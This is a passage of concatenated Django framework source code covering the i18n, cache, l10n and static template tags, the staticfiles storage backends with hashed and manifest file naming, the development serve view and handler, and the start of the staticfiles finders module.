        with translation.override(self.language.resolve(context)):
            output = self.nodelist.render(context)
        return output


@register.tag("get_available_languages")
def do_get_available_languages(parser, token):
    """
    This will store a list of available languages
    in the context.

    Usage::

        {% get_available_languages as languages %}
        {% for language in languages %}
        ...
        {% endfor %}

    This will just pull the LANGUAGES setting from
    your setting file (or the default settings) and
    put it into the named variable.
    """
    # token.split_contents() isn't useful here because this tag doesn't accept variable as arguments
    args = token.contents.split()
    if len(args) != 3 or args[1] != 'as':
        raise TemplateSyntaxError("'get_available_languages' requires 'as variable' (got %r)" % args)
    return GetAvailableLanguagesNode(args[2])


@register.tag("get_language_info")
def do_get_language_info(parser, token):
    """
    This will store the language information dictionary for the given language
    code in a context variable.

    Usage::

        {% get_language_info for LANGUAGE_CODE as l %}
        {{ l.code }}
        {{ l.name }}
        {{ l.name_translated }}
        {{ l.name_local }}
        {{ l.bidi|yesno:"bi-directional,uni-directional" }}
    """
    args = token.split_contents()
    if len(args) != 5 or args[1] != 'for' or args[3] != 'as':
        raise TemplateSyntaxError("'%s' requires 'for string as variable' (got %r)" % (args[0], args[1:]))
    return GetLanguageInfoNode(parser.compile_filter(args[2]), args[4])


@register.tag("get_language_info_list")
def do_get_language_info_list(parser, token):
    """
    This will store a list of language information dictionaries for the given
    language codes in a context variable. The language codes can be specified
    either as a list of strings or a settings.LANGUAGES style list (or any
    sequence of sequences whose first items are language codes).

    Usage::

        {% get_language_info_list for LANGUAGES as langs %}
        {% for l in langs %}
          {{ l.code }}
          {{ l.name }}
          {{ l.name_translated }}
          {{ l.name_local }}
          {{ l.bidi|yesno:"bi-directional,uni-directional" }}
        {% endfor %}
    """
    args = token.split_contents()
    if len(args) != 5 or args[1] != 'for' or args[3] != 'as':
        raise TemplateSyntaxError("'%s' requires 'for sequence as variable' (got %r)" % (args[0], args[1:]))
    return GetLanguageInfoListNode(parser.compile_filter(args[2]), args[4])


@register.filter
def language_name(lang_code):
    return translation.get_language_info(lang_code)['name']


@register.filter
def language_name_translated(lang_code):
    english_name = translation.get_language_info(lang_code)['name']
    return translation.ugettext(english_name)


@register.filter
def language_name_local(lang_code):
    return translation.get_language_info(lang_code)['name_local']


@register.filter
def language_bidi(lang_code):
    return translation.get_language_info(lang_code)['bidi']


@register.tag("get_current_language")
def do_get_current_language(parser, token):
    """
    This will store the current language in the context.

    Usage::

        {% get_current_language as language %}

    This will fetch the currently active language and
    put it's value into the ``language`` context
    variable.
    """
    # token.split_contents() isn't useful here because this tag doesn't accept variable as arguments
    args = token.contents.split()
    if len(args) != 3 or args[1] != 'as':
        raise TemplateSyntaxError("'get_current_language' requires 'as variable' (got %r)" % args)
    return GetCurrentLanguageNode(args[2])


@register.tag("get_current_language_bidi")
def do_get_current_language_bidi(parser, token):
    """
    This will store the current language layout in the context.

    Usage::

        {% get_current_language_bidi as bidi %}

    This will fetch the currently active language's layout and
    put it's value into the ``bidi`` context variable.
    True indicates right-to-left layout, otherwise left-to-right
    """
    # token.split_contents() isn't useful here because this tag doesn't accept variable as arguments
    args = token.contents.split()
    if len(args) != 3 or args[1] != 'as':
        raise TemplateSyntaxError("'get_current_language_bidi' requires 'as variable' (got %r)" % args)
    return GetCurrentLanguageBidiNode(args[2])


@register.tag("trans")
def do_translate(parser, token):
    """
    This will mark a string for translation and will
    translate the string for the current language.

    Usage::

        {% trans "this is a test" %}

    This will mark the string for translation so it will
    be pulled out by mark-messages.py into the .po files
    and will run the string through the translation engine.

    There is a second form::

        {% trans "this is a test" noop %}

    This will only mark for translation, but will return
    the string unchanged. Use it when you need to store
    values into forms that should be translated later on.

    You can use variables instead of constant strings
    to translate stuff you marked somewhere else::

        {% trans variable %}

    This will just try to translate the contents of
    the variable ``variable``. Make sure that the string
    in there is something that is in the .po file.

    It is possible to store the translated string into a variable::

        {% trans "this is a test" as var %}
        {{ var }}

    Contextual translations are also supported::

        {% trans "this is a test" context "greeting" %}

    This is equivalent to calling pgettext instead of (u)gettext.
    """
    bits = token.split_contents()
    if len(bits) < 2:
        raise TemplateSyntaxError("'%s' takes at least one argument" % bits[0])
    message_string = parser.compile_filter(bits[1])
    remaining = bits[2:]

    noop = False
    asvar = None
    message_context = None
    seen = set()
    invalid_context = {'as', 'noop'}

    while remaining:
        option = remaining.pop(0)
        if option in seen:
            raise TemplateSyntaxError(
                "The '%s' option was specified more than once." % option,
            )
        elif option == 'noop':
            noop = True
        elif option == 'context':
            try:
                value = remaining.pop(0)
            except IndexError:
                msg = "No argument provided to the '%s' tag for the context option." % bits[0]
                six.reraise(TemplateSyntaxError, TemplateSyntaxError(msg), sys.exc_info()[2])
            if value in invalid_context:
                raise TemplateSyntaxError(
                    "Invalid argument '%s' provided to the '%s' tag for the context option" % (value, bits[0]),
                )
            message_context = parser.compile_filter(value)
        elif option == 'as':
            try:
                value = remaining.pop(0)
            except IndexError:
                msg = "No argument provided to the '%s' tag for the as option." % bits[0]
                six.reraise(TemplateSyntaxError, TemplateSyntaxError(msg), sys.exc_info()[2])
            asvar = value
        else:
            raise TemplateSyntaxError(
                "Unknown argument for '%s' tag: '%s'. The only options "
                "available are 'noop', 'context' \"xxx\", and 'as VAR'." % (
                    bits[0], option,
                )
            )
        seen.add(option)

    return TranslateNode(message_string, noop, asvar, message_context)


@register.tag("blocktrans")
def do_block_translate(parser, token):
    """
    This will translate a block of text with parameters.

    Usage::

        {% blocktrans with bar=foo|filter boo=baz|filter %}
        This is {{ bar }} and {{ boo }}.
        {% endblocktrans %}

    Additionally, this supports pluralization::

        {% blocktrans count count=var|length %}
        There is {{ count }} object.
        {% plural %}
        There are {{ count }} objects.
        {% endblocktrans %}

    This is much like ngettext, only in template syntax.

    The "var as value" legacy format is still supported::

        {% blocktrans with foo|filter as bar and baz|filter as boo %}
        {% blocktrans count var|length as count %}

    The translated string can be stored in a variable using `asvar`::

        {% blocktrans with bar=foo|filter boo=baz|filter asvar var %}
        This is {{ bar }} and {{ boo }}.
        {% endblocktrans %}
        {{ var }}

    Contextual translations are supported::

        {% blocktrans with bar=foo|filter context "greeting" %}
            This is {{ bar }}.
        {% endblocktrans %}

    This is equivalent to calling pgettext/npgettext instead of
    (u)gettext/(u)ngettext.
    """
    bits = token.split_contents()

    options = {}
    remaining_bits = bits[1:]
    asvar = None
    while remaining_bits:
        option = remaining_bits.pop(0)
        if option in options:
            raise TemplateSyntaxError('The %r option was specified more '
                                      'than once.' % option)
        if option == 'with':
            value = token_kwargs(remaining_bits, parser, support_legacy=True)
            if not value:
                raise TemplateSyntaxError('"with" in %r tag needs at least '
                                          'one keyword argument.' % bits[0])
        elif option == 'count':
            value = token_kwargs(remaining_bits, parser, support_legacy=True)
            if len(value) != 1:
                raise TemplateSyntaxError('"count" in %r tag expected exactly '
                                          'one keyword argument.' % bits[0])
        elif option == "context":
            try:
                value = remaining_bits.pop(0)
                value = parser.compile_filter(value)
            except Exception:
                msg = (
                    '"context" in %r tag expected '
                    'exactly one argument.') % bits[0]
                six.reraise(TemplateSyntaxError, TemplateSyntaxError(msg), sys.exc_info()[2])
        elif option == "trimmed":
            value = True
        elif option == "asvar":
            try:
                value = remaining_bits.pop(0)
            except IndexError:
                msg = "No argument provided to the '%s' tag for the asvar option." % bits[0]
                six.reraise(TemplateSyntaxError, TemplateSyntaxError(msg), sys.exc_info()[2])
            asvar = value
        else:
            raise TemplateSyntaxError('Unknown argument for %r tag: %r.' %
                                      (bits[0], option))
        options[option] = value

    if 'count' in options:
        countervar, counter = list(options['count'].items())[0]
    else:
        countervar, counter = None, None
    if 'context' in options:
        message_context = options['context']
    else:
        message_context = None
    extra_context = options.get('with', {})

    trimmed = options.get("trimmed", False)

    singular = []
    plural = []
    while parser.tokens:
        token = parser.next_token()
        if token.token_type in (TOKEN_VAR, TOKEN_TEXT):
            singular.append(token)
        else:
            break
    if countervar and counter:
        if token.contents.strip() != 'plural':
            raise TemplateSyntaxError("'blocktrans' doesn't allow other block tags inside it")
        while parser.tokens:
            token = parser.next_token()
            if token.token_type in (TOKEN_VAR, TOKEN_TEXT):
                plural.append(token)
            else:
                break
    if token.contents.strip() != 'endblocktrans':
        raise TemplateSyntaxError("'blocktrans' doesn't allow other block tags (seen %r) inside it" % token.contents)

    return BlockTranslateNode(extra_context, singular, plural, countervar,
                              counter, message_context, trimmed=trimmed,
                              asvar=asvar)


@register.tag
def language(parser, token):
    """
    This will enable the given language just for this block.

    Usage::

        {% language "de" %}
            This is {{ bar }} and {{ boo }}.
        {% endlanguage %}
    """
    bits = token.split_contents()
    if len(bits) != 2:
        raise TemplateSyntaxError("'%s' takes one argument (language)" % bits[0])
    language = parser.compile_filter(bits[1])
    nodelist = parser.parse(('endlanguage',))
    parser.delete_first_token()
    return LanguageNode(nodelist, language)






from __future__ import unicode_literals

from django.core.cache import InvalidCacheBackendError, caches
from django.core.cache.utils import make_template_fragment_key
from django.template import (
    Library, Node, TemplateSyntaxError, VariableDoesNotExist,
)

register = Library()


class CacheNode(Node):
    def __init__(self, nodelist, expire_time_var, fragment_name, vary_on, cache_name):
        self.nodelist = nodelist
        self.expire_time_var = expire_time_var
        self.fragment_name = fragment_name
        self.vary_on = vary_on
        self.cache_name = cache_name

    def render(self, context):
        try:
            expire_time = self.expire_time_var.resolve(context)
        except VariableDoesNotExist:
            raise TemplateSyntaxError('"cache" tag got an unknown variable: %r' % self.expire_time_var.var)
        try:
            expire_time = int(expire_time)
        except (ValueError, TypeError):
            raise TemplateSyntaxError('"cache" tag got a non-integer timeout value: %r' % expire_time)
        if self.cache_name:
            try:
                cache_name = self.cache_name.resolve(context)
            except VariableDoesNotExist:
                raise TemplateSyntaxError('"cache" tag got an unknown variable: %r' % self.cache_name.var)
            try:
                fragment_cache = caches[cache_name]
            except InvalidCacheBackendError:
                raise TemplateSyntaxError('Invalid cache name specified for cache tag: %r' % cache_name)
        else:
            try:
                fragment_cache = caches['template_fragments']
            except InvalidCacheBackendError:
                fragment_cache = caches['default']

        vary_on = [var.resolve(context) for var in self.vary_on]
        cache_key = make_template_fragment_key(self.fragment_name, vary_on)
        value = fragment_cache.get(cache_key)
        if value is None:
            value = self.nodelist.render(context)
            fragment_cache.set(cache_key, value, expire_time)
        return value


@register.tag('cache')
def do_cache(parser, token):
    """
    This will cache the contents of a template fragment for a given amount
    of time.

    Usage::

        {% load cache %}
        {% cache [expire_time] [fragment_name] %}
            .. some expensive processing ..
        {% endcache %}

    This tag also supports varying by a list of arguments::

        {% load cache %}
        {% cache [expire_time] [fragment_name] [var1] [var2] .. %}
            .. some expensive processing ..
        {% endcache %}

    Optionally the cache to use may be specified thus::

        {% cache ....  using="cachename" %}

    Each unique set of arguments will result in a unique cache entry.
    """
    nodelist = parser.parse(('endcache',))
    parser.delete_first_token()
    tokens = token.split_contents()
    if len(tokens) < 3:
        raise TemplateSyntaxError("'%r' tag requires at least 2 arguments." % tokens[0])
    if len(tokens) > 3 and tokens[-1].startswith('using='):
        cache_name = parser.compile_filter(tokens[-1][len('using='):])
        tokens = tokens[:-1]
    else:
        cache_name = None
    return CacheNode(
        nodelist, parser.compile_filter(tokens[1]),
        tokens[2],  # fragment_name can't be a variable.
        [parser.compile_filter(t) for t in tokens[3:]],
        cache_name,
    )






from django.template import Library, Node, TemplateSyntaxError
from django.utils import formats
from django.utils.encoding import force_text

register = Library()


@register.filter(is_safe=False)
def localize(value):
    """
    Forces a value to be rendered as a localized value,
    regardless of the value of ``settings.USE_L10N``.
    """
    return force_text(formats.localize(value, use_l10n=True))


@register.filter(is_safe=False)
def unlocalize(value):
    """
    Forces a value to be rendered as a non-localized value,
    regardless of the value of ``settings.USE_L10N``.
    """
    return force_text(value)


class LocalizeNode(Node):
    def __init__(self, nodelist, use_l10n):
        self.nodelist = nodelist
        self.use_l10n = use_l10n

    def __repr__(self):
        return "<LocalizeNode>"

    def render(self, context):
        old_setting = context.use_l10n
        context.use_l10n = self.use_l10n
        output = self.nodelist.render(context)
        context.use_l10n = old_setting
        return output


@register.tag('localize')
def localize_tag(parser, token):
    """
    Forces or prevents localization of values, regardless of the value of
    `settings.USE_L10N`.

    Sample usage::

        {% localize off %}
            var pi = {{ 3.1415 }};
        {% endlocalize %}
    """
    use_l10n = None
    bits = list(token.split_contents())
    if len(bits) == 1:
        use_l10n = True
    elif len(bits) > 2 or bits[1] not in ('on', 'off'):
        raise TemplateSyntaxError("%r argument should be 'on' or 'off'" % bits[0])
    else:
        use_l10n = bits[1] == 'on'
    nodelist = parser.parse(('endlocalize',))
    parser.delete_first_token()
    return LocalizeNode(nodelist, use_l10n)












from django import template
from django.apps import apps
from django.utils.encoding import iri_to_uri
from django.utils.six.moves.urllib.parse import urljoin

register = template.Library()


class PrefixNode(template.Node):

    def __repr__(self):
        return "<PrefixNode for %r>" % self.name

    def __init__(self, varname=None, name=None):
        if name is None:
            raise template.TemplateSyntaxError(
                "Prefix nodes must be given a name to return.")
        self.varname = varname
        self.name = name

    @classmethod
    def handle_token(cls, parser, token, name):
        """
        Class method to parse prefix node and return a Node.
        """
        # token.split_contents() isn't useful here because tags using this method don't accept variable as arguments
        tokens = token.contents.split()
        if len(tokens) > 1 and tokens[1] != 'as':
            raise template.TemplateSyntaxError(
                "First argument in '%s' must be 'as'" % tokens[0])
        if len(tokens) > 1:
            varname = tokens[2]
        else:
            varname = None
        return cls(varname, name)

    @classmethod
    def handle_simple(cls, name):
        try:
            from django.conf import settings
        except ImportError:
            prefix = ''
        else:
            prefix = iri_to_uri(getattr(settings, name, ''))
        return prefix

    def render(self, context):
        prefix = self.handle_simple(self.name)
        if self.varname is None:
            return prefix
        context[self.varname] = prefix
        return ''


@register.tag
def get_static_prefix(parser, token):
    """
    Populates a template variable with the static prefix,
    ``settings.STATIC_URL``.

    Usage::

        {% get_static_prefix [as varname] %}

    Examples::

        {% get_static_prefix %}
        {% get_static_prefix as static_prefix %}
    """
    return PrefixNode.handle_token(parser, token, "STATIC_URL")


@register.tag
def get_media_prefix(parser, token):
    """
    Populates a template variable with the media prefix,
    ``settings.MEDIA_URL``.

    Usage::

        {% get_media_prefix [as varname] %}

    Examples::

        {% get_media_prefix %}
        {% get_media_prefix as media_prefix %}
    """
    return PrefixNode.handle_token(parser, token, "MEDIA_URL")


class StaticNode(template.Node):
    def __init__(self, varname=None, path=None):
        if path is None:
            raise template.TemplateSyntaxError(
                "Static template nodes must be given a path to return.")
        self.path = path
        self.varname = varname

    def url(self, context):
        path = self.path.resolve(context)
        return self.handle_simple(path)

    def render(self, context):
        url = self.url(context)
        if self.varname is None:
            return url
        context[self.varname] = url
        return ''

    @classmethod
    def handle_simple(cls, path):
        if apps.is_installed('django.contrib.staticfiles'):
            from django.contrib.staticfiles.storage import staticfiles_storage
            return staticfiles_storage.url(path)
        else:
            return urljoin(PrefixNode.handle_simple("STATIC_URL"), path)

    @classmethod
    def handle_token(cls, parser, token):
        """
        Class method to parse prefix node and return a Node.
        """
        bits = token.split_contents()

        if len(bits) < 2:
            raise template.TemplateSyntaxError(
                "'%s' takes at least one argument (path to file)" % bits[0])

        path = parser.compile_filter(bits[1])

        if len(bits) >= 2 and bits[-2] == 'as':
            varname = bits[3]
        else:
            varname = None

        return cls(varname, path)


@register.tag('static')
def do_static(parser, token):
    """
    Joins the given path with the STATIC_URL setting.

    Usage::

        {% static path [as varname] %}

    Examples::

        {% static "myapp/css/base.css" %}
        {% static variable_with_path %}
        {% static "myapp/css/base.css" as admin_base_css %}
        {% static variable_with_path as varname %}
    """
    return StaticNode.handle_token(parser, token)


def static(path):
    """
    Given a relative path to a static asset, return the absolute path to the
    asset.
    """
    return StaticNode.handle_simple(path)












from __future__ import unicode_literals

import hashlib
import json
import os
import posixpath
import re
from collections import OrderedDict

from django.conf import settings
from django.contrib.staticfiles.utils import check_settings, matches_patterns
from django.core.cache import (
    InvalidCacheBackendError, cache as default_cache, caches,
)
from django.core.exceptions import ImproperlyConfigured
from django.core.files.base import ContentFile
from django.core.files.storage import FileSystemStorage, get_storage_class
from django.utils.encoding import force_bytes, force_text
from django.utils.functional import LazyObject
from django.utils.six import iteritems
from django.utils.six.moves.urllib.parse import (
    unquote, urldefrag, urlsplit, urlunsplit,
)


class StaticFilesStorage(FileSystemStorage):
    """
    Standard file system storage for static files.

    The defaults for ``location`` and ``base_url`` are
    ``STATIC_ROOT`` and ``STATIC_URL``.
    """
    def __init__(self, location=None, base_url=None, *args, **kwargs):
        if location is None:
            location = settings.STATIC_ROOT
        if base_url is None:
            base_url = settings.STATIC_URL
        check_settings(base_url)
        super(StaticFilesStorage, self).__init__(location, base_url,
                                                 *args, **kwargs)
        # FileSystemStorage fallbacks to MEDIA_ROOT when location
        # is empty, so we restore the empty value.
        if not location:
            self.base_location = None
            self.location = None

    def path(self, name):
        if not self.location:
            raise ImproperlyConfigured("You're using the staticfiles app "
                                       "without having set the STATIC_ROOT "
                                       "setting to a filesystem path.")
        return super(StaticFilesStorage, self).path(name)


class HashedFilesMixin(object):
    default_template = """url("%s")"""
    patterns = (
        ("*.css", (
            r"""(url\(['"]{0,1}\s*(.*?)["']{0,1}\))""",
            (r"""(@import\s*["']\s*(.*?)["'])""", """@import url("%s")"""),
        )),
    )

    def __init__(self, *args, **kwargs):
        super(HashedFilesMixin, self).__init__(*args, **kwargs)
        self._patterns = OrderedDict()
        self.hashed_files = {}
        for extension, patterns in self.patterns:
            for pattern in patterns:
                if isinstance(pattern, (tuple, list)):
                    pattern, template = pattern
                else:
                    template = self.default_template
                compiled = re.compile(pattern, re.IGNORECASE)
                self._patterns.setdefault(extension, []).append((compiled, template))

    def file_hash(self, name, content=None):
        """
        Return a hash of the file with the given name and optional content.
        """
        if content is None:
            return None
        md5 = hashlib.md5()
        for chunk in content.chunks():
            md5.update(chunk)
        return md5.hexdigest()[:12]

    def hashed_name(self, name, content=None):
        parsed_name = urlsplit(unquote(name))
        clean_name = parsed_name.path.strip()
        opened = False
        if content is None:
            if not self.exists(clean_name):
                raise ValueError("The file '%s' could not be found with %r." %
                                 (clean_name, self))
            try:
                content = self.open(clean_name)
            except IOError:
                # Handle directory paths and fragments
                return name
            opened = True
        try:
            file_hash = self.file_hash(clean_name, content)
        finally:
            if opened:
                content.close()
        path, filename = os.path.split(clean_name)
        root, ext = os.path.splitext(filename)
        if file_hash is not None:
            file_hash = ".%s" % file_hash
        hashed_name = os.path.join(path, "%s%s%s" %
                                   (root, file_hash, ext))
        unparsed_name = list(parsed_name)
        unparsed_name[2] = hashed_name
        # Special casing for a @font-face hack, like url(myfont.eot?#iefix")
        # http://www.fontspring.com/blog/the-new-bulletproof-font-face-syntax
        if '?#' in name and not unparsed_name[3]:
            unparsed_name[2] += '?'
        return urlunsplit(unparsed_name)

    def url(self, name, force=False):
        """
        Return the real URL in DEBUG mode.
        """
        if settings.DEBUG and not force:
            hashed_name, fragment = name, ''
        else:
            clean_name, fragment = urldefrag(name)
            if urlsplit(clean_name).path.endswith('/'):  # don't hash paths
                hashed_name = name
            else:
                hashed_name = self.stored_name(clean_name)

        final_url = super(HashedFilesMixin, self).url(hashed_name)

        # Special casing for a @font-face hack, like url(myfont.eot?#iefix")
        # http://www.fontspring.com/blog/the-new-bulletproof-font-face-syntax
        query_fragment = '?#' in name  # [sic!]
        if fragment or query_fragment:
            urlparts = list(urlsplit(final_url))
            if fragment and not urlparts[4]:
                urlparts[4] = fragment
            if query_fragment and not urlparts[3]:
                urlparts[2] += '?'
            final_url = urlunsplit(urlparts)

        return unquote(final_url)

    def url_converter(self, name, template=None):
        """
        Return the custom URL converter for the given file name.
        """
        if template is None:
            template = self.default_template

        def converter(matchobj):
            """
            Convert the matched URL to a normalized and hashed URL.

            This requires figuring out which files the matched URL resolves
            to and calling the url() method of the storage.
            """
            matched, url = matchobj.groups()

            # Ignore absolute/protocol-relative and data-uri URLs.
            if re.match(r'^[a-z]+:', url):
                return matched

            # Ignore absolute URLs that don't point to a static file (dynamic
            # CSS / JS?). Note that STATIC_URL cannot be empty.
            if url.startswith('/') and not url.startswith(settings.STATIC_URL):
                return matched

            # Strip off the fragment so a path-like fragment won't interfere.
            url_path, fragment = urldefrag(url)

            if url_path.startswith('/'):
                # Otherwise the condition above would have returned prematurely.
                assert url_path.startswith(settings.STATIC_URL)
                target_name = url_path[len(settings.STATIC_URL):]
            else:
                # We're using the posixpath module to mix paths and URLs conveniently.
                source_name = name if os.sep == '/' else name.replace(os.sep, '/')
                target_name = posixpath.join(posixpath.dirname(source_name), url_path)

            # Determine the hashed name of the target file with the storage backend.
            hashed_url = self.url(unquote(target_name), force=True)

            transformed_url = '/'.join(url_path.split('/')[:-1] + hashed_url.split('/')[-1:])

            # Restore the fragment that was stripped off earlier.
            if fragment:
                transformed_url += ('?#' if '?#' in url else '#') + fragment

            # Return the hashed version to the file
            return template % unquote(transformed_url)

        return converter

    def post_process(self, paths, dry_run=False, **options):
        """
        Post process the given OrderedDict of files (called from collectstatic).

        Processing is actually two separate operations:

        1. renaming files to include a hash of their content for cache-busting,
           and copying those files to the target storage.
        2. adjusting files which contain references to other files so they
           refer to the cache-busting filenames.

        If either of these are performed on a file, then that file is considered
        post-processed.
        """
        # don't even dare to process the files if we're in dry run mode
        if dry_run:
            return

        # where to store the new paths
        hashed_files = OrderedDict()

        # build a list of adjustable files
        adjustable_paths = [
            path for path in paths
            if matches_patterns(path, self._patterns.keys())
        ]

        # then sort the files by the directory level
        def path_level(name):
            return len(name.split(os.sep))

        for name in sorted(paths.keys(), key=path_level, reverse=True):

            # use the original, local file, not the copied-but-unprocessed
            # file, which might be somewhere far away, like S3
            storage, path = paths[name]
            with storage.open(path) as original_file:

                # generate the hash with the original content, even for
                # adjustable files.
                hashed_name = self.hashed_name(name, original_file)

                # then get the original's file content..
                if hasattr(original_file, 'seek'):
                    original_file.seek(0)

                hashed_file_exists = self.exists(hashed_name)
                processed = False

                # ..to apply each replacement pattern to the content
                if name in adjustable_paths:
                    content = original_file.read().decode(settings.FILE_CHARSET)
                    for extension, patterns in iteritems(self._patterns):
                        if matches_patterns(path, (extension,)):
                            for pattern, template in patterns:
                                converter = self.url_converter(name, template)
                                try:
                                    content = pattern.sub(converter, content)
                                except ValueError as exc:
                                    yield name, None, exc
                    if hashed_file_exists:
                        self.delete(hashed_name)
                    # then save the processed result
                    content_file = ContentFile(force_bytes(content))
                    saved_name = self._save(hashed_name, content_file)
                    hashed_name = force_text(self.clean_name(saved_name))
                    processed = True
                else:
                    # or handle the case in which neither processing nor
                    # a change to the original file happened
                    if not hashed_file_exists:
                        processed = True
                        saved_name = self._save(hashed_name, original_file)
                        hashed_name = force_text(self.clean_name(saved_name))

                # and then set the cache accordingly
                hashed_files[self.hash_key(name)] = hashed_name
                yield name, hashed_name, processed

        # Finally store the processed paths
        self.hashed_files.update(hashed_files)

    def clean_name(self, name):
        return name.replace('\\', '/')

    def hash_key(self, name):
        return name

    def stored_name(self, name):
        hash_key = self.hash_key(name)
        cache_name = self.hashed_files.get(hash_key)
        if cache_name is None:
            cache_name = self.clean_name(self.hashed_name(name))
            # store the hashed name if there was a miss, e.g.
            # when the files are still processed
            self.hashed_files[hash_key] = cache_name
        return cache_name


class ManifestFilesMixin(HashedFilesMixin):
    manifest_version = '1.0'  # the manifest format standard
    manifest_name = 'staticfiles.json'

    def __init__(self, *args, **kwargs):
        super(ManifestFilesMixin, self).__init__(*args, **kwargs)
        self.hashed_files = self.load_manifest()

    def read_manifest(self):
        try:
            with self.open(self.manifest_name) as manifest:
                return manifest.read().decode('utf-8')
        except IOError:
            return None

    def load_manifest(self):
        content = self.read_manifest()
        if content is None:
            return OrderedDict()
        try:
            stored = json.loads(content, object_pairs_hook=OrderedDict)
        except ValueError:
            pass
        else:
            version = stored.get('version')
            if version == '1.0':
                return stored.get('paths', OrderedDict())
        raise ValueError("Couldn't load manifest '%s' (version %s)" %
                         (self.manifest_name, self.manifest_version))

    def post_process(self, *args, **kwargs):
        self.hashed_files = OrderedDict()
        all_post_processed = super(ManifestFilesMixin,
                                   self).post_process(*args, **kwargs)
        for post_processed in all_post_processed:
            yield post_processed
        self.save_manifest()

    def save_manifest(self):
        payload = {'paths': self.hashed_files, 'version': self.manifest_version}
        if self.exists(self.manifest_name):
            self.delete(self.manifest_name)
        contents = json.dumps(payload).encode('utf-8')
        self._save(self.manifest_name, ContentFile(contents))


class _MappingCache(object):
    """
    A small dict-like wrapper for a given cache backend instance.
    """
    def __init__(self, cache):
        self.cache = cache

    def __setitem__(self, key, value):
        self.cache.set(key, value)

    def __getitem__(self, key):
        value = self.cache.get(key)
        if value is None:
            raise KeyError("Couldn't find a file name '%s'" % key)
        return value

    def clear(self):
        self.cache.clear()

    def update(self, data):
        self.cache.set_many(data)

    def get(self, key, default=None):
        try:
            return self[key]
        except KeyError:
            return default


class CachedFilesMixin(HashedFilesMixin):
    def __init__(self, *args, **kwargs):
        super(CachedFilesMixin, self).__init__(*args, **kwargs)
        try:
            self.hashed_files = _MappingCache(caches['staticfiles'])
        except InvalidCacheBackendError:
            # Use the default backend
            self.hashed_files = _MappingCache(default_cache)

    def hash_key(self, name):
        key = hashlib.md5(force_bytes(self.clean_name(name))).hexdigest()
        return 'staticfiles:%s' % key


class CachedStaticFilesStorage(CachedFilesMixin, StaticFilesStorage):
    """
    A static file system storage backend which also saves
    hashed copies of the files it saves.
    """
    pass


class ManifestStaticFilesStorage(ManifestFilesMixin, StaticFilesStorage):
    """
    A static file system storage backend which also saves
    hashed copies of the files it saves.
    """
    pass


class ConfiguredStorage(LazyObject):
    def _setup(self):
        self._wrapped = get_storage_class(settings.STATICFILES_STORAGE)()

staticfiles_storage = ConfiguredStorage()






"""
Views and functions for serving static files. These are only to be used during
development, and SHOULD NOT be used in a production setting.

"""
import os
import posixpath

from django.conf import settings
from django.contrib.staticfiles import finders
from django.http import Http404
from django.utils.six.moves.urllib.parse import unquote
from django.views import static


def serve(request, path, insecure=False, **kwargs):
    """
    Serve static files below a given point in the directory structure or
    from locations inferred from the staticfiles finders.

    To use, put a URL pattern such as::

        from django.contrib.staticfiles import views

        url(r'^(?P<path>.*)$', views.serve)

    in your URLconf.

    It uses the django.views.static.serve() view to serve the found files.
    """
    if not settings.DEBUG and not insecure:
        raise Http404
    normalized_path = posixpath.normpath(unquote(path)).lstrip('/')
    absolute_path = finders.find(normalized_path)
    if not absolute_path:
        if path.endswith('/') or path == '':
            raise Http404("Directory indexes are not allowed here.")
        raise Http404("'%s' could not be found" % path)
    document_root, path = os.path.split(absolute_path)
    return static.serve(request, path, document_root=document_root, **kwargs)






from django.conf import settings
from django.contrib.staticfiles import utils
from django.contrib.staticfiles.views import serve
from django.core.handlers.wsgi import WSGIHandler, get_path_info
from django.utils.six.moves.urllib.parse import urlparse
from django.utils.six.moves.urllib.request import url2pathname


class StaticFilesHandler(WSGIHandler):
    """
    WSGI middleware that intercepts calls to the static files directory, as
    defined by the STATIC_URL setting, and serves those files.
    """
    # May be used to differentiate between handler types (e.g. in a
    # request_finished signal)
    handles_files = True

    def __init__(self, application):
        self.application = application
        self.base_url = urlparse(self.get_base_url())
        super(StaticFilesHandler, self).__init__()

    def get_base_url(self):
        utils.check_settings()
        return settings.STATIC_URL

    def _should_handle(self, path):
        """
        Checks if the path should be handled. Ignores the path if:

        * the host is provided as part of the base_url
        * the request's path isn't under the media path (or equal)
        """
        return path.startswith(self.base_url[2]) and not self.base_url[1]

    def file_path(self, url):
        """
        Returns the relative path to the media file on disk for the given URL.
        """
        relative_url = url[len(self.base_url[2]):]
        return url2pathname(relative_url)

    def serve(self, request):
        """
        Actually serves the request path.
        """
        return serve(request, self.file_path(request.path), insecure=True)

    def get_response(self, request):
        from django.http import Http404

        if self._should_handle(request.path):
            try:
                return self.serve(request)
            except Http404 as e:
                if settings.DEBUG:
                    from django.views import debug
                    return debug.technical_404_response(request, e)
        return super(StaticFilesHandler, self).get_response(request)

    def __call__(self, environ, start_response):
        if not self._should_handle(get_path_info(environ)):
            return self.application(environ, start_response)
        return super(StaticFilesHandler, self).__call__(environ, start_response)






from django.conf import settings
from django.conf.urls.static import static
from django.contrib.staticfiles.views import serve

urlpatterns = []


def staticfiles_urlpatterns(prefix=None):
    """
    Helper function to return a URL pattern for serving static files.
    """
    if prefix is None:
        prefix = settings.STATIC_URL
    return static(prefix, view=serve)

# Only append if urlpatterns are empty
if settings.DEBUG and not urlpatterns:
    urlpatterns += staticfiles_urlpatterns()






from django.apps import AppConfig
from django.utils.translation import ugettext_lazy as _


class StaticFilesConfig(AppConfig):
    name = 'django.contrib.staticfiles'
    verbose_name = _("Static Files")
    ignore_patterns = ['CVS', '.*', '*~']






from django.contrib.staticfiles.handlers import StaticFilesHandler
from django.test import LiveServerTestCase


class StaticLiveServerTestCase(LiveServerTestCase):
    """
    Extends django.test.LiveServerTestCase to transparently overlay at test
    execution-time the assets provided by the staticfiles app finders. This
    means you don't need to run collectstatic before or as a part of your tests
    setup.
    """

    static_handler = StaticFilesHandler






import os
from collections import OrderedDict

from django.apps import apps
from django.conf import settings
from django.contrib.staticfiles import utils
from django.core.exceptions import ImproperlyConfigured
from django.core.files.storage import (
    FileSystemStorage, Storage, default_storage,
)
from django.utils import lru_cache, six
from django.utils._os import safe_join
from django.utils.functional import LazyObject, empty
from django.utils.module_loading import import_string

# To keep track on which directories the finder has searched the static files.
searched_locations = []


class BaseFinder(object):
    """
    A base file finder to be used for custom staticfiles finder classes.
    """

    def find(self, path, all=False):
        """
        Given a relative file path this ought to find an
        absolute file path.

        If the ``all`` parameter is ``False`` (default) only
        the first found file path will be returned; if set
        to ``True`` a list of all found files paths is returned.
        """
        raise NotImplementedError('subclasses of BaseFinder must provide a find() method')

    def list(self, ignore_patterns):
        """
        Given an optional list of paths to ignore, this should return
        a two item iterable consisting of the relative path and storage
